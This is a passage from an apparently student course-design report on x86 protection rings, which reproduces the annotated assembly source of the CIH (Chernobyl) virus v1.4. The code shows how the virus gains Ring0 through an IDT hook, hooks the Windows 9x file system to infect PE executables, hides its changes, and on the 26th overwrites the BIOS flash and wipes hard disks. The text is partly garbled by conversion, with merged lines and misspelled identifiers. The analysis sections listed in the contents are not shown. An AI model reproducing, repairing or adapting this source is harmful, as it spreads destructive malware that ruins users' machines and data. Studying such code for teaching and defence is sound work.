- 1 -
操作系统
课程设计
姓名: 高程 学号: 20072528
班级: 计算机科学与技术07-3班 学院: 计算机与信息学院 所选题目:
Intel 80X68系列CPU的保护机制:分析CIH
[键入文字]
[键入文字]
- 2 -
目录
病毒代码 -----------------------3 页
程序流程图--------------------26页
病毒运行机制--------------------27页
特权级 -------------------------33页
VxD ---------------------------34页
CIH病毒绕过CPU环保护机制的方法 -------------------------44页
病毒代码
[键入文字]
[键入文字]
- 3 -
代码部分:
OriginalAppEXE SEGMENT
;PE格式可执行文件文件头 FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 0h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 0h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
[键入文字]
[键入文字]
- 4 -
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize
OriginalAppEXE ENDS
; 病毒程序开始 TRUE = 1 FALSE = 0
DEBUG = FALSE
;标识其版本号为1.4版
MajorVirusVersion = 1 ;主版本号 MinorVirusVersion = 4 ;次版本号
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG ;是否调试
FirstKillHardDiskNumber = 81h ;破坏D盘
HookExceptionNumber = 05h ;使用5号中断 ELSE
FirstKillHardDiskNumber = 80h ;破坏C盘
[键入文字]
;合成版本号 [键入文字]
- 5 -
HookxceptionNumber = 03h ;使用3号中断 ENDIF
FileNameBufferSize = 7fh
;病毒代码段开始
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
MyVirusStart: push ebp
;修改系统异常处理,避免产生错误提示信息 lea eax, [esp-04h*2] xor ebx, ebx
xchg eax, fs:[ebx]
call @0 @0:
pop ebx ;获取程序起始偏移量,用此偏移量+相对偏移量获得绝对地址 lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax
; 修改中断描述表,以获得最高Ring0级权限 push eax
sidt [esp-02h] ;获得中断描述表的基址到ebx pop ebx ;
add ebx, HookExceptionNumber*08h+04h ;计算要用中断的基址到ebx
cli ;在修改之前先关中断
mov ebp, [ebx] ;获得异常处理的基址 mov bp, [ebx-04h] ;获得入口
lea esi, MyExceptionHook-@1[ecx]
push esi ;esi为病毒中断例程地址
mov [ebx-04h], si ;
shr esi, 16 ;修改异常
[键入文字]
[键入文字]
- 6 -
mov [ebx+02h], si ;修改中断基址使指向病毒中断例程
pop esi
;生成进入ring0级的异常
int HookExceptionNumber ;以中断的方式进入Ring0级 ReturnAddressOfEndException = $
; 合并所有病毒代码 push esi
mov esi, eax ;esi指向病毒开始处
;循环进行复制
LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h]
rep movsb ;复制病毒代码到分配好的系统内存首址 sub eax, 08h mov esi, [eax] or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
jmp LoopOfMergeAllVirusCodeSection ;复制下一段
QuitLoopOfMergeAllVirusCodeSection: pop esi
int HookExceptionNumber
; 保存异常处理 ReadyRestoreSE: sti ;开中断 xor ebx, ebx jmp RestoreSE
; 当发生异常时,说明目前在Windows NT下,病毒将停止运行,直接跳转到原来程序 StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx] mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx] pop eax
[键入文字]
[键入文字]
- 7 -
; 跳转到原来程序,正常执行 pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ;把原程序的起始地址入栈 ret ;以子程序返回形式返回到原程序的开始处 ;病毒初始化模块 MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook ;如果病毒代码已拷贝好了 ;就转到安装系统钩子的程序
mov ecx, dr0 ;察看dr0是否设置过(dr0为病毒驻留标志)
jecxz AllocateSystemMemoryPage ;没有设置,则分配系统内存
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
;返回到原来的程序 ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;恢复原来的中断基址
iretd ;中断返回
; 分配将要使用的系统内存 AllocateSystemMemoryPage:
mov dr0, ebx ;设置病毒驻留的标志dr0 push 00000000fh ; push ecx ; push 0ffffffffh ;
push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ;ULONG pType, ULONG VM, ULONG AlignMask, ULONG minPhys, ;ULONG maxPhys, ULONG *PhysAddr,ULONG flags); push ecx ; push ecx ;
push 000000001h ; push 000000002h ; int 20h ; VXD调用 _PageAllocate = $
dd 00010053h ;使用eax、ecx、edx和flags寄存器 add esp, 08h*04h ;恢复栈指针
[键入文字]
[键入文字]
- 8 -
xchg edi, eax ;edi指向分配好的系统内存首址 lea eax, MyVirusStart-@2[esi] ;eax指向病毒开始处
iretd ;退出中断
; 初始化文件系统钩子
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi] ;指向文件系统钩子程序首址
push eax ;
int 20h ; Vxd调用IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ;使用eax、ecx、edx和flags 寄存器
mov dr0, eax ;保存原来的文件系统钩子程序首址到dr0 pop eax ;eax等于文件系统钩子程序首址
;保存原来的IFSMgr_InstallFileSystemApiHook功能调用的入口 mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;edx为IFSMgr_InstallFileSystemApiHook的入口 mov OldInstallFileSystemApiHook-@3[eax], edx
; 修改IFSMgr_InstallFileSystemApiHook入口 lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ;设置新的IFSMgr_InstallFileSystemApiHook功能调用的地址 ;使指向InstallFileSystemApiHook cli ;关中断
jmp ExitRing0Init ;退出Ring0级
;合并后的代码大小
CodeSizeOfMergeVirusCodeSection = offset $
;新的IFSMgr_InstallFileSystemApiHook功能调用 InstallFileSystemApiHook: push ebx
call @4 @4:
pop ebx ;获得当前指令的偏移地址
add ebx, FileSystemApiHook-@4 ;加上偏移的差等于FileSystemApiHook的偏移
[键入文字]
[键入文字]
- 9 -
push ebx
int 20h ;调用Vxd移去指向FileSystemApiHook的钩子 IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ;使用eax、ecx、edx和flags寄存器 pop eax
;调用原来的IFSMgr_InstallFileSystemApiHook功能连接FileSystemApiHook钩子 push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx push eax push ebx
call OldInstallFileSystemApiHook-@3[ebx] pop ecx
mov dr0, eax ;调整OldFileSystemApiHook地址
pop eax pop ebx ret
OldInstallFileSystemApiHook dd ;原来的InstallFileSystemApiHook调用地址
;IFSMgr_FileSystemHook调用入口 FileSystemApiHook: @3 = FileSystemApiHook
push ad ;保存寄存器
call @5 @5:
pop esi ; mov esi, offset ;esi为当前指令的偏移
add esi, VirusGameDataStartAddress-@5 ;esi为FileSystemApiHook的偏移
;加VirusGameDataStartAddress的偏移之差等于VirusGameDataStartAddress的偏移
;测试“忙”标志,“忙”则转到pIFSFunc test byte ptr (OnBusy-@6)[esi], 01h jnz pIFSFunc
;如果没有打开文件,则转到prevhook
lea ebx, [esp+20h+04h+04h] ;ebx为FunctionNum的地址
[键入文字]
[键入文字] - 10 -
;文件系统钩子的调用格式如下
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive, ;int ResourceFlags, int CodePage, pioreq pir)
;判断此次调用是否是为了打开文件,如果不是就跳到前一个文件钩子去 cmp dword ptr [ebx], 00000024h jne prevhook
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ;设置“忙”标志为“忙”
;获得文件路径指定的驱动器号,然后把驱动器名称放到FileNameBuffer中 ;如果驱动器号为03h,则说明该盘是C盘 mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;保存
mov al, [ebx+04h] ;ebx+4为磁盘号的地址
;是否UNC(universal naming conventions)地址,如果是就转CallUniToBCSPath cmp al, 0ffh
je CallUniToBCSPath
add al, 40h mov ah, ':'
mov [esi], eax ;处理成\"X:\"的形式,即在盘符后面增加一个冒号
inc esi inc esi
;把Canonicalized Unicode的字符转换为普通的BCS字符集,调用方法 ;UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, ;unsigned int maxLength, int charSet) CallUniToBCSPath:
push 00000000h ;字符集
push FileNameBufferSize ;字符长度 mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h
push eax ;Uni字符首址 push esi ;BCS字符首址
int 20h ;调用UniToBCSPath UniToBCSPath = $
dd 00400041h 调用id
[键入文字]
[键入文字] - 11 -
add esp, 04h*04h
;判断文件是否是EXE文件 cmp [esi+eax-04h], 'EXE.' pop esi
jne DisableOnBusy
IF DEBUG
;以下信息为调试用
cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy
ENDIF
;判断文件是否存在,如果不存在,则转向DisableOnBusy处 cmp word ptr [ebx+18h], 01h jne DisableOnBusy
;获得文件属性 mov ax, 4300h
int 20h ;调用IFSMgr_Ring0_FileIO获得文件属性的功能 IFSMgr_Ring0_FileIO = $ dd 00400032h ;调用号
jc DisableOnBusy push ecx
;获得IFSMgr_Ring0_FileIO地址
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi]
;判断是否只读文件,如果是,则修改文件属性,否则转向OpenFile处 test cl, 01h jz OpenFile
mov ax, 4301h xor ecx, ecx
call edi ;调用IFSMgr_Ring0_FileIO修改文件属性的功能,使文件可写
;打开文件 OpenFile: xor eax, eax mov ah, 0d5h
xor ecx, ecx ;文件属性
[键入文字]
[键入文字] - 12 -
xor edx, edx inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ;调用IFSMgr_Ring0_FileIO打开文件的功能
xchg ebx, eax ;在ebx中保存文件句柄
;是否需要恢复文件属性(有写属性就不需要恢复了) pop ecx pushf
test cl, 01h jz IsOpenFileOK
;恢复文件属性 mov ax, 4301h
call edi ;恢复文件属性
;文件打开是否成功,如果不成功,则转向DisableOnBusy处 IsOpenFileOK: popf
jc DisableOnBusy
;文件打开成功
push esi ;把文件名数据区首址入栈
pushf ;CF = 0,保存标志位
add esi, DataBuffer-@7 ;esi指向数据区首址
;获得新文件头的偏移 xor eax, eax
mov ah, 0d6h ;IFSMgr_Ring0_FileIO的读文件功能号(R0_READFILE)
;为了达到使病毒代码长度最少的目的,把eax保存到ebp mov ebp, eax
push 00000004h ;读取4个字节 pop ecx
push 0000003ch ;读取DOS文件头偏移3ch处的Windows文件头首部偏移 pop edx
call edi ;读文件到esi
mov edx, [esi] ;Windows文件头首部偏移放到edx
[键入文字]
[键入文字] - 13 -
; 获得图形文件头的PE标记和已感染标记 dec edx
mov eax, ebp ;功能号 call edi ;读文件到esi
;判断是否是PE,如果是,进一步判断是否已经感染过
;判断是否是WinZip自解压文件,如果是,就不感染 Self-Extractor * cmp dword ptr [esi], 00455000h ;判断是否是PE文件(标志\"PE\\0\\0\") jne CloseFile ;不是就关闭文件
;如果是PE文件,且没有被感染,就开始感染该文件 push ebx ;保存文件句柄 push 00h
;设置病毒感染标记 push 01h ;标记大小
push edx ;edx指向PE文件头偏移00h push edi ;edi为IFSMgr_Ring0_FileIO的地址
mov dr1, esp ;保存esp
;设置 NewAddressOfEntryPoint入口 push eax
;读文件头 mov eax, ebp
mov cl, SizeOfImageHeaderToRead ;要读2个字节
add edx, 07h ;PE文件头+07h为NumberOfSections(块个数) call edi ;读出NumberOfSections(块个数)到esi
lea eax, (AddressOfEntryPoint-@8)[edx] push eax ;文件指针
lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; 缓冲区地址
;把edx的值放到文件病毒代码块表表的开始位置 movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ;edx为病毒代码块表的偏移
;获得病毒代码块表的大小
mov al, SizeOfScetionTable ;每个块表项的大小
mov cl, (NumberOfSections-@8)[esi]
[键入文字]
[键入文字] - 14 -
mul cl ;每个块表项乘以块个数等于块表大小
; 设置病毒代码块表
lea esi, (StartOfSectionTable-@8)[esi] ;esi指向块表首址(在病毒动态数据区中)
push eax ;块表大小
push edx ;edx为病毒代码块表的偏移 push esi ;缓冲区地址
;合并的病毒代码块和病毒代码块表的总大小必须小于等于未使用的空间大小 inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;乘8
push ecx ;预留病毒块表空间
add ecx, eax
add ecx, edx ;ecx+文件的正文的偏移
sub ecx, (SizeOfHeaders-@9)[esi] not ecx
inc ecx ;求补,ecx为文件头大小 - 正文的偏移 = 未用空间
push ecx
xchg ecx, eax ;ecx为块表大小
mov eax, (AddressOfEntryPoint-@9][esi] ;入口RVA地址 add eax, (ImageBase-@9)[esi] ;装入基址
mov (OriginalAddressOfEntryPoint-@9)[esi], eax ;保存装入后实际的入口地址
;未用空间和病毒第一块大小比较,如果小于就只设感染标志 cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark
; 读取所有病毒块表
mov eax, ebp ;读的功能号 call edi ;读块表到esi(@9处)
;下面完全修改处理Winzip自解压文件的错误,当用户打开自解压文件时, ;病毒不会感染。首先,病毒获得第2个块表的ToRawData指针, ;读取该块数据,判断是否包含“WinZip(R)”字样
[键入文字]
[键入文字] - 15 -
xchg eax, ebp push 00000004h
pop ecx 读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9][ebx] ;edx为第二块的偏移(.rdata)
add edx, 12h ;加10h+2h(10h处为\"WinZip....\")
call edi ;读4字节到esi
;判断是否Winzip自解压文件,如果是就不设置感染标志 cmp dword ptr [esi], 'piZn' je NotSetInfectedMark
pop edx ;edx指向块表在文件中首址
; 设置病毒代码块表
pop ebx ;未用空间大小
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl pop ecx ; ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp为块表大小 push edx ;文件指针
add ebp, esi ; ebp指向病毒数据区的块表后(第一块) push ebp ;缓冲区地址
; 设置第一个病毒代码块的大小 lea eax, [ebp+edi-04h] mov [eax], ebx
; 设置第一个病毒块
push ebx ; 病毒代码第一块的大小
add edx, edi
push edx ;文件指针
lea edi, (MyVirusStart-@9)[esi] push edi ;缓冲区地址
;修改AddressOfEntryPoint的入口为病毒入口
mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文)
[键入文字]
[键入文字] - 16 -
; 设置初始数据
lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度 mov ebp, offset VirusSize ;ebp为病毒长度
jmp StartToWriteCodeToSections
;写信息到病毒块
LoopOfWriteCodeToSections: add edx, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小) sub ebx, (VirtualSize-@9][edx] ;减去VirtualSize等于该块未用空间 jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ;写入病毒块表
mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移 add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize push ebx ;ebx指向该块未用空间的文件指针
push edi ; 缓冲区地址
mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址 mov [eax+4], ebx ;保存到病毒块表中
mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize
;改该块表项的块属性(改为可读,并包含初始化数据) or (Characteristics-@9)[edx], 40000040h
;开始写代码
StartToWriteCodeToSections:
sub ebp, ebx ;病毒大小-病毒块大小
;如果小于(病毒插入完毕)就设置病毒块表结束符 jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;指向病毒下一块
;写代码结束
[键入文字]
[键入文字] - 17 -
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志
jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序
;不设置感染标志 NotSetInfectedMark: add esp, 3ch
jmp CloseFile ;转到CloseFile处
;设置病毒块表和标记
SetVirusCodeSectionTableEndMark: ;调整病毒块代码
add [eax], ebp ;更正病毒块表的最后一项 add [esp+08h], ebp
;设置块表结束标志 xor ebx, ebx
mov [eax-04h], ebx
; 当病毒程序调用 Vxd指令时,VMM修改20号中断
lea eax, (LastVxdCallAddress-2-@9)[esi] ;上一个调用Vxd指令的地址
mov cl, VxdCallTableSize ;所用Vxd调用的个数
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh ;还原成“int 20h”的形式
;从VxdCallIDTable取出Vxd调用的id号放到edx mov edx, (VxdCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edx ;放到“int 20h”的后面
;VxdCallAddressTable中放着各个调用Vxd的指令地址之差 movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx ;eax为上一个调用地址
loop LoopOfRestoreVxdCallID ;还原其他的调用
; 把病毒代码写到文件中 WriteVirusCodeToFile:
[键入文字]
[键入文字] - 18 -
mov eax, dr1 ;dr1为前面所保存的esp
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用地址
;循环写入
LoopOfWriteVirusCodeToFile: pop ecx ;病毒代码各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零为止
mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE) pop edx ;文件指针 pop ecx ;要写的字节数
call edi ; VXD调用IFSMgr_Ring0_FileIO,写文件 ;依次写入各段病毒代码、病毒块表、新的 ;文件块表、新的程序入口、感染标志 jmp LoopOfWriteVirusCodeToFile
; 修改文件的最后修改时间,使用户不知道文件已经被修改 SetFileModificationMark: pop ebx pop eax
stc ;设置进位标志 pushf ;标志位入栈
; 关闭文件 CloseFile: xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; Vxd调用IFSMgr_Ring0_FileIO关闭文件
popf pop esi
jnc IsKillComputer ;如果进位标志为0,就转向KillComputer
;恢复文件修改时间 mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; Vxd调用IFSMgr_Ring0_FileIO,修改文件的最后修改时间
[键入文字]
[键入文字] - 19 -
; 设置不“忙”标志 DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi]
; 调用原来的FileSystemApiHook prevhook:
popad ;恢复所有寄存器
mov eax, dr0 ; 保存的原来的文件系统钩子程序首址 jmp [eax] ;跳到原来的钩子去执行
pIFSFunc:
mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址 push dword ptr [ebx+20h+04h+14h] ;把参数pioreqpir入栈 call [ebx+20h+04h] ;调用pIFSFunc FSDFnAddr pop ecx
mov [ebx+1ch], eax ;修改eax的值
; 调用了pIFSFunc之后,从返回值pioreq中获得数据 cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook
;获得在DOS模式下的文件的修改日期和时间 mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期
;退出病毒程序
QuitMyVirusFileSystemHook: popad ;恢复所有寄存器
ret ;从病毒设置的文件钩子程序中退出
; 破坏计算机BIOS IsKillComputer:
;从BIOS CMOS中获得当前日期 mov al, 07h out 70h, al in al, 71h
xor al, 26h ;判断是否是26号,
[键入文字]
[键入文字] - 20 -
;如果是调试程序,则转向DisableOnBusy IF DEBUG
jmp DisableOnBusy ELSE
jnz DisableOnBusy ;如果不是26号,则转向DisableOnBusy,不进行破坏 ENDIF
;开始 破坏BIOS EEPROM * mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;显示000E0000 - 000EFFFF 地址段的BIOS页面,共KB mov edi, 8000384ch mov dx, 0cfeh cli call esi
;显示000F0000 - 000FFFFF地址段的BIOS页面,共KB mov di, 0058h dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi
; 显示BIOS中额外的000E0000 - 000E01FF段的 ROM数据,共512个字节 ;和可写的BIOS块
lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h mov ecx, 0e2aaah call ebx
mov byte ptr [eax], 60h
push ecx loop $
;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据,共80h个字节 xor ah, ah mov [eax], al
xchg ecx, eax loop $
; 显示和激活BIOS的000E0000 - 000FFFFF段数据,共128 KB,该段可写入信息mov eax, 0f5555h pop ecx
[键入文字]
[键入文字] - 21 -
mov ch, 0aah call ebx
mov byte ptr [eax], 20h
loop $
; 破坏BIOS的000FE000 - 000FE07F段数据,共80h字节 mov ah, 0e0h mov [eax], al
; 隐藏BIOS的000F0000 - 000FFFFF段,共 KB mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi
; 破坏所有硬盘 KillHardDisk: xor ebx, ebx
mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch
push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx
push 40000501h inc ecx push ecx push ecx
mov esi, esp sub esp, 0ach
;循环进行破坏
LoopOfKillHardDisk: int 20h
dd 00100004h
cmp word ptr [esi+06h], 0017h je KillNextDataSection
;换下一个硬盘
ChangeNextHardDisk: inc byte ptr [esi+4dh]
[键入文字]
[键入文字] - 22 -
jmp LoopOfKillHardDisk
;破坏下一个区域 KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
;使EEPROM能够写入信息 EnableEEPROMToWrite: mov [eax], cl mov [ecx], al
mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al
ret
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi xchg edx, ebp out dx, eax
xchg eax, edi xchg edx, ebp in al, dx
BooleanCalculateCode = $ or al, 44h
xchg eax, edi xchg edx, ebp out dx, eax
xchg eax, edi xchg edx, ebp out dx, al ret
;静态数据定义
[键入文字]
[键入文字] - 23 -
LastVxdCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的Vxd指令地址 VxdCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个Vxd调用指令地址之差
VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;Vxd的调用号 VxdCallTableSize = ($-VxdCallIDTable)/04h ;程序中使用Vxd调用的个数
;病毒版本和版权信息定义
VirusVersionCopyright db 'CIH v' ;CIH病毒的标识 db MajorVirusVersion+'0' ;主版本号 db '.'
db MinorVirusVersion+'0' ;次版本号 db ' TATUNG' ;作者名字
; 病毒大小
VirusSize = $ + SizeOfVirusCodeSectionTableEndMark(04h) + NumberOfSections*SizeOfVirusCodeSectionTable(08h) + SizeOfTheFirstVirusCodeSectionTable(04h)
;动态数据定义
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ;病毒数据起始地址
OnBusy db 0 ;“忙”标志
FileModificationTime dd ? ;文件修改时间
FileNameBuffer db FileNameBufferSize dup(?) ;7fh长的文件名缓冲区 @7 = FileNameBuffer
DataBuffer = $ @8 = DataBuffer
NumberOfSections dw ? ; 块数目 TimeDateStamp dd ? ; 文件时间 SymbolsPointer dd ?
NumberOfSymbols dd ? ; 符号表中符号个数 SizeOfOptionalHeader dw ? ;可选文件头的长度 _Characteristics dw ? ;字符集标志
Magic dw ? ;标志字(总是010bh) LinkerVersion dw ? ;连接器版本号 SizeOfCode dd ? ;代码段大小
SizeOfInitializedData dd ? ;已初始化数据块大小 SizeOfUninitializedData dd ? ;未初始化数据块大小 AddressOfEntryPoint dd ? ;程序起始RVA
[键入文字]
[键入文字] - 24 -
BaseOfCode dd ? ;代码段起始RVA BaseOfData dd ? ;数据段起始RVA ImageBase dd ? ;装入基址RVA
@9 = $
SectionAlignment dd ? ;块对齐 FileAlignment dd ? ;文件块对齐
OperatingSystemVersion dd ? ;所需操作系统版本号 ImageVersion dd ? ;用户自定义版本号 SubsystemVersion dd ? ;所需子系统版本号 Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分总长 SizeOfHeaders dd ? ;文件头大小
SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer SizeOfImageHeaderToWrite = 04h
StartOfSectionTable = @9
SectionName = StartOfSectionTable ;块名
VirtualSize = StartOfSectionTable+08h ;段真实长度 VirtualAddress = StartOfSectionTable+0ch ;块的RVA
SizeOfRawData = StartOfSectionTable+10h ; 块物理长度 PointerToRawData = StartOfSectionTable+14h ; 块物理偏移
PointerToRelocations = StartOfSectionTable+18h ; 重定位的偏移 PointerToLineNumbers = StartOfSectionTable+1ch ; 行号表的偏移 NumberOfRelocations = StartOfSectionTable+20h ; 重定位项数目 NumberOfLinenNmbers = StartOfSectionTable+22h ; 行号表的数目 Characteristics = StartOfSectionTable+24h ; 块属性
SizeOfScetionTable = Characteristics+04h-SectionName ; 每块表项的长度
;病毒所需要的内存数量 VirusNeedBaseMemory = $ VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h)
;病毒程序结束 VirusGame ENDS END FileHeader
[键入文字]
[键入文字] - 25 -
流程图
[键入文字]
